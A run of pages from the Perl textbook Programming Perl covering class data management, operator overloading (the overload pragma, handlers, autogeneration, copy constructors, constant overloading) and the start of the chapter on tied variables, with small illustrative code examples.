carp "Unmediated access denied to unfriendly class ${cpack}::"
    unless $cpack->isa(__PACKAGE__);
All these checks block unmediated access only. Users of the class who politely use the class's designated methods are under no such restriction. Perl gives you the tools to be just as persnickety as you want to be. Fortunately, not many people want to be.

But some people ought to be. Persnickety is good when you're writing flight control software. If you either want or ought to be one of those people, and you prefer using working code over reinventing everything on your own, check out Damian Conway's Tie::SecureHash module on CPAN. It implements restricted hashes with support for public, protected, and private persnicketations. It also copes with the inheritance issues that we've ignored in the previous example. Damian has also written an even more ambitious module, Class::Contract, that imposes a formal software engineering regimen over Perl's flexible object system. This module's feature list reads like a checklist from a computer science professor's software engineering textbook,[8]including enforced encapsulation, static inheritance, and design-by-contract condition checking for object-oriented Perl, along with a declarative syntax for attribute, method, constructor, and destructor definitions at both the object and class level, and preconditions, postconditions, and class invariants. Whew!

[8] Can you guess what Damian's job is? By the way, we highly recommend his book, Object Oriented Perl (Manning Publications, 1999).

12.7.6. New Tricks

As of release 5.6 of Perl, you can also declare a method to indicate that it returns an lvalue. This is done with the lvalue subroutine attribute (not to be confused with object attributes). This experimental feature allows you to treat the method as something that would appear on the lefthand side of an equal sign:

package Critter;

sub new {
    my $class = shift;
    my $self = { pups => 0, @_ };    # Override default.
    bless $self, $class;
}

sub pups : lvalue {                  # We'll assign to pups() later.
    my $self = shift;
    $self->{pups};
}

package main;
$varmint = Critter->new(pups => 4);
$varmint->pups *= 2;                 # Assign to $varmint->pups!
$varmint->pups =~ s/(.)/$1$1/;       # Modify $varmint->pups in place!
print $varmint->pups;                # Now we have 88 pups.
This lets you pretend $varmint->pups is a variable while still obeying encapsulation. See the section Section 12.5.2, "The lvalue Attribute" in Chapter 6, "Subroutines".

If you're running a threaded version of Perl and want to ensure that only one thread can call a particular method on an object, you can use the locked and method attributes to do that:

sub pups : locked method {
    ...
}
When any thread invokes the pups method on an object, Perl locks the object before execution, preventing other threads from doing the same. See the section Section 12.5.1, "The locked and method Attributes" in Chapter 6, "Subroutines".

Previous | Home | Next
12.6. Instance Destructors | Book Index | 12.8. Managing Class Data
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Managing Class Data (Programming Perl)

 Book Home Programming PerlSearch this book

12.8. Managing Class Data

We've looked at several approaches to accessing per-object data values. Sometimes, though, you want some common state shared by all objects of a class. Instead of being an attribute of just one instance of the class, these variables are global to the entire class, no matter which class instance (object) you use to access them through. (C++ programmers would think of these as static member data.) Here are some situations where class variables might come in handy:

  • To keep a count of all objects ever created, or how many are still kicking around.

  • To keep a list of all objects over which you can iterate.

  • To store the name or file descriptor of a log file used by a class-wide debugging method.

  • To keep collective data, like the total amount of cash dispensed by all ATMs in a network in a given day.

  • To track the last object created by a class, or the most accessed object.

  • To keep a cache of in-memory objects that have already been reconstituted from persistent memory.

  • To provide an inverted lookup table so you can find an object based on the value one of its attributes.

The question comes down to deciding where to store the state for those shared attributes. Perl has no particular syntactic mechanism to declare class attributes, any more than it has for instance attributes. Perl provides the developer with a broad set of powerful but flexible features that can be uniquely crafted to the particular demands of the situation. You can then select the mechanism that makes the most sense for the given situation instead of having to live with someone else's design decisions. Alternatively, you can live with the design decisions someone else has packaged up and put onto CPAN. Again, TMTOWTDI.

Like anything else pertaining to a class, class data shouldn't be accessed directly, especially from outside the implementation of the class itself. It doesn't say much for encapsulation to set up carefully controlled accessor methods for instance variables but then invite the public in to diddle your class variables directly, such as by setting $SomeClass::Debug = 1. To establish a clear firewall between interface and implementation, you can create accessor methods to manipulate class data similar to those you use for instance data.

Imagine we want to keep track of the total world population of Critter objects. We'll store that number in a package variable, but provide a method called population so that users of the class don't have to know about the implementation.

Critter->population()       # Access via class name
$gollum->population()       # Access via instance

Since a class in Perl is just a package, the most natural place to store class data is in a package variable. Here's a simple implementation of such a class. The population method ignores its invocant and just returns the current value of the package variable, $Population. (Some programmers like to capitalize their globals.)

package Critter;
our $Population = 0;
sub population { return $Population; }
sub DESTROY { $Population-- }
sub spawn {
    my $invocant = shift;
    my $class = ref($invocant) || $invocant;
    $Population++;
    return bless { name => shift || "anon" }, $class;
}
sub name {
    my $self = shift;
    $self->{name} = shift if @_;
    return $self->{name};
}
If you want to make class data methods that work like accessors for instance data, do this:
our $Debugging = 0;     # class datum
sub debug {
    shift;              # intentionally ignore invocant
    $Debugging = shift if @_;
    return $Debugging;
}
Now you can set the overall debug level through the class or through any of its instances.

Because it's a package variable, $Debugging is globally accessible. But if you change the our variable to my, then only code later in that same file can see it. You can go still further--you can restrict unfettered access to class attributes even from the rest of class itself. Wrap the variable declaration in a block scope:

{
    my $Debugging = 0;          # lexically scoped class datum
    sub debug {
        shift;                  # intentionally ignore invocant
        $Debugging = shift if @_;

        return $Debugging;
    }
}
Now no one is allowed to read or write the class attributes without using the accessor method, since only that subroutine is in the same scope as the variable and has access to it.

If a derived class inherits these class accessors, then these still access the original data, no matter whether the variables were declared with our or my. The data isn't package-relative. You might look at it as methods executing in the class in which they were originally defined, not in the class that invoked them.

For some kinds of class data, this approach works fine, but for others, it doesn't. Suppose we create a Warg subclass of Critter. If we want to keep our populations separate, Warg can't inherit Critter's population method, because that method as written always returns the value of $Critter::Population.

You'll have to decide on a case-by-case basis whether it makes any sense for class attributes to be package relative. If you want package-relative attributes, use the invocant's class to locate the package holding the class data:

sub debug {
    my $invocant = shift;
    my $class   = ref($invocant) || $invocant;
    my $varname = $class . "::Debugging";
    no strict "refs";       # to access package data symbolically
    $$varname = shift if @_;
    return $$varname;
}
We temporarily rescind strict references because otherwise we couldn't use the fully qualified symbolic name for the package global. This is perfectly reasonable: since all package variables by definition live in a package, there's nothing wrong with accessing them via that package's symbol table.

Another approach is to make everything an object needs--even its global class data--available via that object (or passed in as parameters). To do this, you'll often have to make a dedicated constructor for each class, or at least have a dedicated initialization routine to be called by the constructor. In the constructor or initializer, you store references to any class data directly in the object itself, so nothing ever has to go looking for it. The accessor methods use the object to find a reference to the data.

Rather than put the complexity of locating the class data in each method, just let the object tell the method where the data is located. This approach works well only when the class data accessor methods are invoked as instance methods, because the class data could be in unreachable lexicals you couldn't get at using a package name.

No matter how you roll it, package-relative class data is always a bit awkward. It's really a lot cleaner if, when you inherit a class data accessor method, you effectively inherit the state data that it's accessing as well. See the perltootc manpage for numerous, more elaborate approaches to management of class data.

Previous | Home | Next
12.7. Managing Instance Data | Book Index | 12.9. Summary
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Summary (Programming Perl)

 Programming PerlSearch this book

12.9. Summary

That's about all there is to it, except for everything else. Now you just need to go off and buy a book about object-oriented design methodology and bang your forehead with it for the next six months or so.

Previous | Home | Next
12.8. Managing Class Data | Book Index | 13. Overloading
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Overloading (Programming Perl)

 Book Home Programming PerlSearch this book

Chapter 13. Overloading

Contents:

The overload Pragma
Overload Handlers
Overloadable Operators
The Copy Constructor (=)
When an Overload Handler Is Missing (nomethod and fallback)
Overloading Constants
Public Overload Functions
Inheritance and Overloading
Run-Time Overloading
Overloading Diagnostics

Objects are cool, but sometimes they're just a little too cool. Sometimes you would rather they behaved a little less like objects and a little more like regular data types. But there's a problem: objects are referents represented by references, and references aren't terribly useful except as references. You can't add references, or print them, or (usefully) apply many of Perl's built-in operators. The only thing you can do is dereference them. So you find yourself writing many explicit method invocations, like this:

print $object->as_string;
$new_object = $subject->add($object);
Such explicit dereferencing is in general a good thing; you should never confuse your references with your referents, except when you want to confuse them. Now would be one of those times. If you design your class with overloading, you can pretend the references aren't there and simply say:
print $object;
$new_object = $subject + $object;
When you overload one of Perl's built-in operators, you define how it behaves when it's applied to objects of a particular class. A number of standard Perl modules use overloading, such as Math::BigInt, which lets you create Math::BigInt objects that behave just like regular integers but have no size limits. You can add them with +, divide them with /, compare them with <=>, and print them with print.

Note that overloading is not the same as autoloading, which is loading a missing function or method on demand. Neither is it the same as overriding, which is one function or method masking another. Overloading hides nothing; it adds meaning to an operation that would have been nonsense on a mere reference.

13.1. The overload Pragma

The use overload pragma implements operator overloading. You provide it with a key/value list of operators and their associated behaviors:

package MyClass;

use overload   '+' => \&myadd,            # coderef
               '<' => "less_than";        # named method
             'abs' => sub { return @_ },  # anonymous subroutine
Now when you try to add two MyClass objects, the myadd subroutine will be called to create the result.

When you try to compare two MyClass objects with the < operator, Perl notices that the behavior is specified as a string and interprets the string as a method name and not simply as a subroutine name. In the example above, the less_than method might be supplied by the MyClass package itself or inherited from a base class of MyClass, but the myadd subroutine must be supplied by the current package. The anonymous subroutine for abs supplies itself even more directly. However these routines are supplied, we'll call them handlers.

For unary operators (those taking only one operand, like abs), the handler specified for the class is invoked whenever the operator is applied to an object of that class.

For binary operators like + or <, the handler is invoked whenever the first operand is an object of the class or when the second operand is an object of the class and the first operand has no overloading behavior. That's so you can say either:

$object + 6
or:
6 + $object
without having to worry about the order of operands. (In the second case, the operands will be swapped when passed to the handler). If our expression was:
$animal + $vegetable
and $animal and $vegetable were objects of different classes, both of which used overloading, then the overloading behavior of $animal would be triggered. (We'll hope the animal likes vegetables.)

There is only one trinary (ternary) operator in Perl, ?:, and you can't overload it. Fortunately.

Previous | Home | Next
12.9. Summary | Book Index | 13.2. Overload Handlers
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Overload Handlers (Programming Perl)

 Book Home Programming PerlSearch this book

13.2. Overload Handlers

When an overloaded operator is, er, operated, the corresponding handler is invoked with three arguments. The first two arguments are the two operands. If the operator only uses one operand, the second argument is undef.

The third argument indicates whether the first two arguments were swapped. Even under the rules of normal arithmetic, some operations, like addition or multiplication, don't usually care about the order of their arguments, but others, like subtraction and division, do.[1] Consider the difference between:

$object - 6
and:
6 - $object
If the first two arguments to a handler have been swapped, the third argument will be true. Otherwise, the third argument will be false, in which case there is a finer distinction as well: if the handler has been triggered by another handler involving assignment (as in += using + to figure out how to add), then the third argument is not merely false, but undef. This distinction enables some optimizations.

[1] Your overloaded objects are not required to respect the rules of normal arithmetic, of course, but it's usually best not to surprise people. Oddly, many languages make the mistake of overloading + with string concatenation, which is not commutative and only vaguely additive. For a different approach, see Perl.

As an example, here is a class that lets you manipulate a bounded range of numbers. It overloads both + and - so that the result of adding or subtracting objects constrains the values within the range 0 and 255:

package ClipByte;

use overload '+' => \&clip_add,
             '-' => \&clip_sub;

sub new {
    my $class = shift;
    my $value = shift;
    return bless \$value => $class;
}

sub clip_add {
    my ($x, $y) = @_;
    my ($value) = ref($x) ? $$x : $x;
    $value     += ref($y) ? $$y : $y;
    $value = 255 if $value > 255;
    $value =   0 if $value < 0;
    return bless \$value => ref($x);
}

sub clip_sub {
    my ($x, $y, $swap) = @_;
    my ($value) = (ref $x) ? $$x : $x;
    $value     -= (ref $y) ? $$y : $y;
    if ($swap) { $value = -$value }
    $value = 255 if $value > 255;
    $value =   0 if $value < 0;
    return bless \$value => ref($x);
}

package main;

$byte1 = ClipByte->new(200);
$byte2 = ClipByte->new(100);

$byte3 = $byte1 + $byte2;    # 255
$byte4 = $byte1 - $byte2;    # 100
$byte5 = 150 - $byte2;       # 50
You'll note that every function here is by necessity a constructor, so each one takes care to bless its new object back into the current class, whatever that is; we assume our class might be inherited. We also assume that if $y is a reference, it's a reference to an object of our own type. Instead of testing ref($y), we could have called $y->isa("ClipByte") if we wanted to be more thorough (and run slower).

Previous | Home | Next
13.1. The overload Pragma | Book Index | 13.3. Overloadable Operators
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Overloadable Operators (Programming Perl)

 Book Home Programming PerlSearch this book

13.3. Overloadable Operators

You can only overload certain operators, which are shown in Table 13-1. The operators are also listed in the %overload::ops hash made available when you use overload, though the categorization is a little different there.

Table 13.1. Overloadable Operators

Category | Operators
Conversion | "" 0+ bool
Arithmetic | + - * / % ** x . neg
Logical | !
Bitwise | & | ~ ^ ! << >>
Assignment | += -= *= /= %= **= x= .= <<= >>= ++ --
Comparison | == < <= > >= != <=> lt le gt ge eq ne cmp
Mathematical | atan2 cos sin exp abs log sqrt
Iterative | <>
Dereference | ${} @{} %{} &{} *{}
Pseudo | nomethod fallback =>

Note that neg, bool, nomethod, and fallback are not actual Perl operators. The five dereferencers, "", and 0+ probably don't seem like operators either. Nevertheless, they are all valid keys for the parameter list you provide to use overload. This is not really a problem. We'll let you in on a little secret: it's a bit of a fib to say that the overload pragma overloads operators. It overloads the underlying operations, whether invoked explicitly via their "official" operators, or implicitly via some related operator. (The pseudo-operators we mentioned can only be invoked implicitly.) In other words, overloading happens not at the syntactic level, but at the semantic level. The point is not to look good. The point is to do the right thing. Feel free to generalize.

Note also that = does not overload Perl's assignment operator, as you might expect. That would not do the right thing. More on that later.

We'll start by discussing the conversion operators, not because they're the most obvious (they aren't), but because they're the most useful. Many classes overload nothing but stringification, specified by the "" key. (Yes, that really is two double-quotes in a row.)

Conversion operators: "", 0+, bool

These three keys let you provide behaviors for Perl's automatic conversions to strings, numbers, and Boolean values, respectively.

We say that stringification occurs when any nonstring variable is used as a string. It's what happens when you convert a variable into a string via printing, interpolation, concatenation, or even by using it as a hash key. Stringification is also why you see something like SCALAR(0xba5fe0) when you try to print an object.

We say that numification occurs when a nonnumeric variable is converted into a number in any numeric context, such as any mathematical expression, array index, or even as an operand of the .. range operator.

Finally, while nobody here quite has the nerve to call it boolification, you can define how an object should be interpreted in a Boolean context (such as if, unless, while, for, and, or, &&, ||, ?:, or the block of a grep expression) by creating a bool handler.

Any of the three conversion operators can be autogenerated if you have any one of them (we'll explain autogeneration later). Your handlers can return any value you like. Note that if the operation that triggered the conversion is also overloaded, that overloading will occur immediately afterward.

Here's a demonstration of "" that invokes an object's as_string handler upon stringification. Don't forget to quote the quotes:

package Person;

use overload q("") => \&as_string;

sub new {
    my $class = shift;
    return bless { @_ } => $class;
}

sub as_string {
    my $self = shift;
    my ($key, $value, $result);
    while (($key, $value) = each %$self) {
        $result .= "$key => $value\n";
    }
    return $result;
}

$obj = Person->new(height => 72, weight => 165, eyes => "brown");

print $obj;
Instead of something like Person=HASH(0xba1350), this prints (in hash order):
weight => 165
height => 72
eyes => brown
(We sincerely hope this person was not measured in kg and cm.)

Arithmetic operators: +, -, *, /, %, **, x, ., neg

These should all be familiar except for neg, which is a special overloading key for the unary minus: the - in -123. The distinction between the neg and - keys allows you to specify different behaviors for unary minus and binary minus, more commonly known as subtraction.

If you overload - but not neg, and then try to use a unary minus, Perl will emulate a neg handler for you. This is known as autogeneration, where certain operators can be reasonably deduced from other operators (on the assumption that the overloaded operators will have the same relationships as the regular operators). Since unary minus can be expressed as a function of binary minus (that is, -123 is equivalent to 0 - 123), Perl doesn't force you to overload neg when - will do. (Of course, if you've arbitrarily defined binary minus to divide the second argument by the first, unary minus will be a fine way to throw a divide-by-0 exception.)

Concatenation via the . operator can be autogenerated via the stringification handler (see "" above).

Logical operator: !

If a handler for ! is not specified, it can be autogenerated using the bool, "", or 0+ handler. If you overload the ! operator, the not operator will also trigger whatever behavior you requested. (Remember our little secret?)

You may be surprised at the absence of the other logical operators, but most logical operators can't be overloaded because they short-circuit. They're really control-flow operators that need to be able to delay evaluation of some of their arguments. That's also the reason the ?: operator isn't overloaded.

Bitwise operators: &, |, ~, ^, <<, >>

The ~ operator is a unary operator; all the others are binary. Here's how we could overload >> to do something like chop:

package ShiftString;

use overload
    '>>' => \&right_shift,
    '""' => sub { ${ $_[0] } };

sub new {
    my $class = shift;
    my $value = shift;
    return bless \$value => $class;
}

sub right_shift {
    my ($x, $y) = @_;
    my $value = $$x;
    substr($value, -$y) = "";
    return bless \$value => ref($x);
}

$camel = ShiftString->new("Camel");
$ram = $camel >> 2;
print $ram;            # Cam

Assignment operators: +=, -=, *=, /=, %=, **=, x=, .=, <<=, >>=, ++, --

These assignment operators might change the value of their arguments or leave them as is. The result is assigned to the lefthand operand only if the new value differs from the old one. This allows the same handler to be used to overload both += and +. Although this is permitted, it is seldom recommended, since by the semantics described later under "When an Overload Handler Is Missing (nomethod and fallback)", Perl will invoke the handler for + anyway, assuming += hasn't been overloaded directly.

Concatenation (.=) can be autogenerated using stringification followed by ordinary string concatenation. The ++ and -- operators can be autogenerated from + and - (or += and -=).

Handlers implementing ++ and -- are expected to mutate (alter) their arguments. If you wanted autodecrement to work on letters as well as numbers, you could do that with a handler as follows:

package MagicDec;

use overload
    q(--) => \&decrement,
    q("") => sub { ${ $_[0] } };

sub new {
    my $class = shift;
    my $value = shift;
    bless \$value => $class;
}

sub decrement {
    my @string = reverse split(//, ${ $_[0] } );
    my $i;
    for ($i = 0; $i < @string; $i++ ) {
        last unless $string[$i] =~ /a/i;
        $string[$i] = chr( ord($string[$i]) + 25 );
    }
    $string[$i] = chr( ord($string[$i]) - 1 );
    my $result = join('', reverse @string);
    $_[0] = bless \$result => ref($_[0]);
}

package main;

for $normal (qw/perl NZ Pa/) {
    $magic = MagicDec->new($normal);
    $magic--;
    print "$normal goes to $magic\n";
}
That prints out:
perl goes to perk
NZ goes to NY
Pa goes to Oz
exactly reversing Perl's magical string autoincrement operator.

The ++$a operation can be autogenerated using $a += 1 or $a = $a + 1, and $a-- using $a -= 1 or $a = $a - 1. However, this does not trigger the copying behavior that a real ++ operator would. See "The Copy Constructor" later in this chapter.

Comparison operators: ==, <, <=, >, >=, !=, <=>, lt, le, gt, ge, eq, ne, cmp

If <=> is overloaded, it can be used to autogenerate behaviors for <, <=, >, >=, ==, and !=. Similarly, if cmp is overloaded, it can be used to autogenerate behaviors for lt, le, gt, ge, eq, and ne.

Note that overloading cmp won't let you sort objects as easily as you'd like, because what will be compared are the stringified versions of the objects instead of the objects themselves. If that was your goal, you'd want to overload "" as well.

Mathematical functions: atan2, cos, sin, exp, abs, log, sqrt

If abs is unavailable, it can be autogenerated from < or <=> combined with either unary minus or subtraction.

An overloaded - can be used to autogenerate missing handlers for unary minus or for the abs function, which may also be separately overloaded. (Yes, we know that abs looks like a function, whereas unary minus looks like an operator, but they aren't all that different as far as Perl's concerned.)

Iterative operator: <>

The <> handler can be triggered by using either readline (when it reads from a filehandle, as in while (<FH>)) or glob (when it is used for fileglobbing, as in @files = <*.*>).

package LuckyDraw;

use overload
    '<>' => sub {
        my $self = shift;
        return splice @$self, rand @$self, 1;
    };

sub new {
    my $class = shift;
    return bless [@_] => $class;
}

package main;

$lotto = new LuckyDraw 1 .. 51;

for (qw(1st 2nd 3rd 4th 5th 6th)) {
    $lucky_number = <$lotto>;
    print "The $_ lucky number is: $lucky_number.\n";
}

$lucky_number = <$lotto>;
print "\nAnd the bonus number is: $lucky_number.\n";
In California, this prints:
The 1st lucky number is: 18
The 2nd lucky number is: 11
The 3rd lucky number is: 40

The 4th lucky number is: 7
The 5th lucky number is: 51
The 6th lucky number is: 33

And the bonus number is: 5

Dereference operators: ${}, @{}, %{}, &{}, *{}

Attempts to dereference scalar, array, hash, subroutine, and glob references can be intercepted by overloading these five symbols.

The online Perl documentation for overload demonstrates how you can use this operator to simulate your own pseudohashes. Here's a simpler example that implements an object as an anonymous array but permits hash referencing. Don't try to treat it as a real hash; you won't be able to delete key/value pairs from the object. If you want to combine array and hash notations, use a real pseudohash (as it were).

package PsychoHash;

use overload '%{}' => \&as_hash;

sub as_hash {
    my ($x) = shift;
    return { @$x };
}

sub new {
    my $class = shift;
    return bless [ @_ ] => $class;
}

$critter = new PsychoHash( height => 72, weight => 365, type => "camel" );

print $critter->{weight};   # prints 365
Also see Chapter 14, "Tied Variables", for a mechanism to let you redefine basic operations on hashes, arrays, and scalars.

When overloading an operator, try not to create objects with references to themselves. For instance,

use overload '+' => sub { bless [ \$_[0], \$_[1] ] };
This is asking for trouble, since if you say $animal += $vegetable, the result will make $animal a reference to a blessed array reference whose first element is $animal. This is a circular reference, which means that even if you destroy $animal, its memory won't be freed until your process (or interpreter) terminates. See "Garbage Collection, Circular References, and Weak References" in Chapter 8, "References".

Previous | Home | Next
13.2. Overload Handlers | Book Index | 13.4. The Copy Constructor (=)
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Copy Constructor (=) (Programming Perl)

 Book Home Programming PerlSearch this book

13.4. The Copy Constructor (=)

Although it looks like a regular operator, = has a special and slightly subintuitive meaning as an overload key. It does not overload the Perl assignment operator. It can't, because that operator has to be reserved for assigning references, or everything breaks.

The handler for = is used in situations where a mutator (such as ++, --, or any of the assignment operators) is applied to a reference that shares its object with another reference. The = handler lets you intercept the mutator and copy the object yourself so that the copy alone is mutated. Otherwise, you'd clobber the original.

$copy = $original;   # copies only the reference
++$copy;             # changes underlying shared object
Now, bear with us. Suppose that $original is a reference to an object. To make ++$copy modify only $copy and not $original, a copy of $copy is first made, and $copy is assigned a reference to this new object. This operation is not performed until ++$copy is executed, so $copy coincides with $original before the increment--but not afterward. In other words, it's the ++ that recognizes the need for the copy and calls out to your copy constructor.

The need for copying is recognized only by mutators such as ++ or +=, or by nomethod, which is described later. If the operation is autogenerated via +, as in:

$copy = $original;
$copy = $copy + 1;
then no copying occurs, because + doesn't know it's being used as a mutator.

If the copy constructor is required during the execution of some mutator, but a handler for = was not specified, it can be autogenerated as a string copy provided the object is a plain scalar and not something fancier.

For example, the code actually executed for the sequence:

$copy = $original;
...
++$copy;
might end up as something like this:
$copy = $original;
...
$copy = $copy->clone(undef, "");
$copy->incr(undef, "");
This assumes $original points to an overloaded object, ++ was overloaded with \&incr, and = was overloaded with \&clone.

Similar behavior is triggered by $copy = $original++, which is interpreted as $copy = $original; ++$original.

Previous | Home | Next
13.3. Overloadable Operators | Book Index | 13.5. When an Overload Handler Is Missing (nomethod and fallback)
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


When an Overload Handler Is Missing (nomethod and fallback) (Programming Perl)

 Programming PerlSearch this book

13.5. When an Overload Handler Is Missing (nomethod and fallback)

If you apply an unoverloaded operator to an object, Perl first tries to autogenerate a behavior from other overloaded operators using the rules described earlier. If that fails, Perl looks for an overloading behavior for nomethod and uses that if available. That handler is to operators what an AUTOLOAD subroutine is to subroutines: it's what you do when you can't think of what else to do.

If used, the nomethod key should be followed by a reference to a handler that accepts four arguments, (not three as all the other handlers expect). The first three arguments are no different than in any other handler; the fourth is a string corresponding to the operator whose handler is missing. This serves the same purpose as the $AUTOLOAD variable does in AUTOLOAD subroutines.

If Perl has to look for a nomethod handler but can't find one, an exception is raised.

If you want to prevent autogeneration from occurring, or you want a failed autogeneration attempt to result in no overloading at all, you can define the special fallback overloading key. It has three useful states:

undef

If fallback is not set, or is explicitly set to undef, the sequence of overloading events is unaffected: handlers are sought, autogeneration is attempted, and finally the nomethod handler is invoked. If that fails, an exception is raised.

false

If fallback is set to a defined but false value (like 0), autogeneration is never attempted. Perl will call the nomethod handler if one exists, but raise an exception otherwise.

true

This is nearly the same behavior as for undef, but no exception is raised if an appropriate handler cannot be synthesized via autogeneration. Instead, Perl reverts to following the unoverloaded behavior for that operator, as though there were no use overload pragma in the class at all.

Previous | Home | Next
13.4. The Copy Constructor (=) | Book Index | 13.6. Overloading Constants
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Overloading Constants (Programming Perl)

 Book Home Programming PerlSearch this book

13.6. Overloading Constants

You can change how constants are interpreted by Perl with overload::constant, which is most usefully placed in a package's import method. (If you do this, you should properly invoke overload::remove_constant in the package's unimport method so that the package can clean up after itself when you ask it to.)

Both overload::constant and overload::remove_constant expect a list of key/value pairs. The keys should be any of integer, float, binary, q, and qr, and each value should be the name of a subroutine, an anonymous subroutine, or a code reference that will handle the constants.

sub import { overload::constant ( integer => \&integer_handler,
                                  float   => \&float_handler,
                                  binary  => \&base_handler,
                                  q       => \&string_handler,
                                  qr      => \&regex_handler ) }
Any handlers you provide for integer and float will be invoked whenever the Perl tokener encounters a constant number. This is independent of the use constant pragma; simple statements such as
$year = cube(12) + 1;        # integer
$pi   = 3.14159265358979;    # float
will trigger whatever handler you requested.

The binary key lets you intercept binary, octal, and hexadecimal constants. q handles single-quoted strings (including strings introduced with q) and constant substrings within qq- and qx-quoted strings and here documents. Finally, qr handles constant pieces within regular expressions, as described at the end of Chapter 5, "Pattern Matching".

The handler will be passed three arguments. The first argument is the original constant, in whatever form it was provided to Perl. The second argument is how Perl actually interpreted the constant; for instance, 123_456 will appear as 123456.

The third argument is defined only for strings handled by the q and qr handlers, and will be one of qq, q, s, or tr depending on how the string is to be used. qq means that the string is from an interpolated context, such as double quotes, backticks, an m// match, or the pattern of an s/// substitution. q means that the string is from an uninterpolated context, s means that the constant is a replacement string in an s/// substitution, and tr means that it's a component of a tr/// or y/// expression.

The handler should return a scalar, which will be used in place of the constant. Often, that scalar will be a reference to an overloaded object, but there's nothing preventing you from doing something more dastardly:

package DigitDoubler;    # A module to be placed in DigitDoubler.pm
use overload;

sub import { overload::constant ( integer => \&handler,
                                  float   => \&handler ) }

sub handler {
    my ($orig, $interp, $context) = @_;
    return $interp * 2;          # double all constants
}

1;
Note that handler is shared by both keys, which works okay in this case. Now when you say:
use DigitDoubler;

$trouble = 123;      # trouble is now 246
$jeopardy = 3.21;    # jeopardy is now 6.42
you redefine the world.

If you intercept string constants, it is recommended that you provide a concatenation operator (".") as well, since an interpolated expression like "ab$cd!!" is merely a shortcut for the longer 'ab' . $cd . '!!'. Similarly, negative numbers are considered negations of positive constants, so you should provide a handler for neg when you intercept integers or floats. (We didn't need to do that earlier, because we're returning actual numbers, not overloaded object references.)

Note that overload::constant does not propagate into run-time compilation inside eval, which can be either a bug or a feature depending on how you look at it.

Previous | Home | Next
13.5. When an Overload Handler Is Missing (nomethod and fallback) | Book Index | 13.7. Public Overload Functions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Public Overload Functions (Programming Perl)

 Programming PerlSearch this book

13.7. Public Overload Functions

As of the 5.6 release of Perl, the use overload pragma provides the following functions for public consumption.

overload::StrVal(OBJ)

This function returns the string value that OBJ would have in absence of stringification overloading ("").

overload::Overloaded(OBJ)

This function returns a true value if OBJ is subject to any operator overloading at all, and false otherwise.

overload::Method(OBJ, OPERATOR)

This function returns a reference to whatever code implements the overloading for OPERATOR when it operates on OBJ, or undef if no such overloading exists.

Previous | Home | Next
13.6. Overloading Constants | Book Index | 13.8. Inheritance and Overloading
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Inheritance and Overloading (Programming Perl)

 Programming PerlSearch this book

13.8. Inheritance and Overloading

Inheritance interacts with overloading in two ways. The first occurs when a handler is named as a string rather than provided as a code reference or anonymous subroutine. When named as a string, the handler is interpreted as a method, and can therefore be inherited from superclasses.

The second interaction between inheritance and overloading is that any class derived from a overloaded class is itself subject to that overloading. In other words, overloading is itself inherited. The set of handlers in a class is the union of handlers of all that class's ancestors, recursively. If a handler can be found in several different ancestors, the handler actually used is governed by the usual rules for method inheritance. For example, if class Alpha inherits from classes Beta and Gamma in that order, and class Beta overloads + with \&Beta::plus_sub, but class Gamma overloads + with the string "plus_meth", then Beta::plus_sub will be called when you try to apply + to an Alpha object.

Since the value of the fallback key is not a handler, its inheritance is not governed by the rules given above. In the current implementation, the fallback value from the first overloaded ancestor is used, but this is accidental and subject to change without notice (well, without much notice).

Previous | Home | Next
13.7. Public Overload Functions | Book Index | 13.9. Run-Time Overloading
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Run-Time Overloading (Programming Perl)

 Book Home Programming PerlSearch this book

13.9. Run-Time Overloading

Since use statements are executed at compile time, the only way to change overloading during run time is:

eval " use overload '+' => \&my_add ";
You can also say:
eval " no overload '+', '--', '<=' ";
although the use of these constructs during run time is questionable.

Previous | Home | Next
13.8. Inheritance and Overloading | Book Index | 13.10. Overloading Diagnostics
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Overloading Diagnostics (Programming Perl)

 Programming PerlSearch this book

13.10. Overloading Diagnostics

If your Perl was compiled with -DDEBUGGING, you can view diagnostic messages for overloading when you run a program with the -Do switch or its equivalent. You can also deduce which operations are overloaded using the m command of Perl's built-in debugger.

If you're feeling overloaded now, maybe the next chapter will tie things back together for you.

Previous | Home | Next
13.9. Run-Time Overloading | Book Index | 14. Tied Variables
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Tied Variables (Programming Perl)

 Book Home Programming PerlSearch this book

Chapter 14. Tied Variables

Contents:

Tying Scalars
Tying Arrays
Tying Hashes
Tying Filehandles
A Subtle Untying Trap
Tie Modules on CPAN

Some human endeavors require a disguise. Sometimes the intent is to deceive, but more often, the intent is to communicate something true at a deeper level. For instance, many job interviewers expect you to dress up in a tie to indicate that you're seriously interested in fitting in, even though both of you know you'll never wear a tie on the job. It's odd when you think about it: tying a piece of cloth around your neck can magically get you a job. In Perl culture, the tie operator plays a similar role: it lets you create a seemingly normal variable that, behind the disguise, is actually a full-fledged Perl object that is expected to have an interesting personality of its own. It's just an odd bit of magic, like pulling Bugs Bunny out of a hat.

Put another way, the funny characters $, @, %, or * in front of a variable name tell Perl and its programmers a great deal--they each imply a particular set of archetypal behaviors. You can warp those behaviors in various useful ways with tie, by associating the variable with a class that implements a new set of behaviors. For instance, you can create a regular Perl hash, and then tie it to a class that makes the hash into a database, so that when you read values from the hash, Perl magically fetches data from an external database file, and when you set values in the hash, Perl magically stores data in the external database file. In this case, "magically" means "transparently doing something very complicated". You know the old saying: any technology sufficiently advanced is indistinguishable from a Perl script. (Seriously, people who play with the guts of Perl use magic as a technical term referring to any extra semantics attached to variables such as %ENV or %SIG. Tied variables are just an extension of that.)

Perl already has built-in dbmopen and dbmclose functions that magically tie hash variables to databases, but those functions date back to the days when Perl had no tie. Now tie provides a more general mechanism. In fact, Perl itself implements dbmopen and dbmclose in terms of tie.

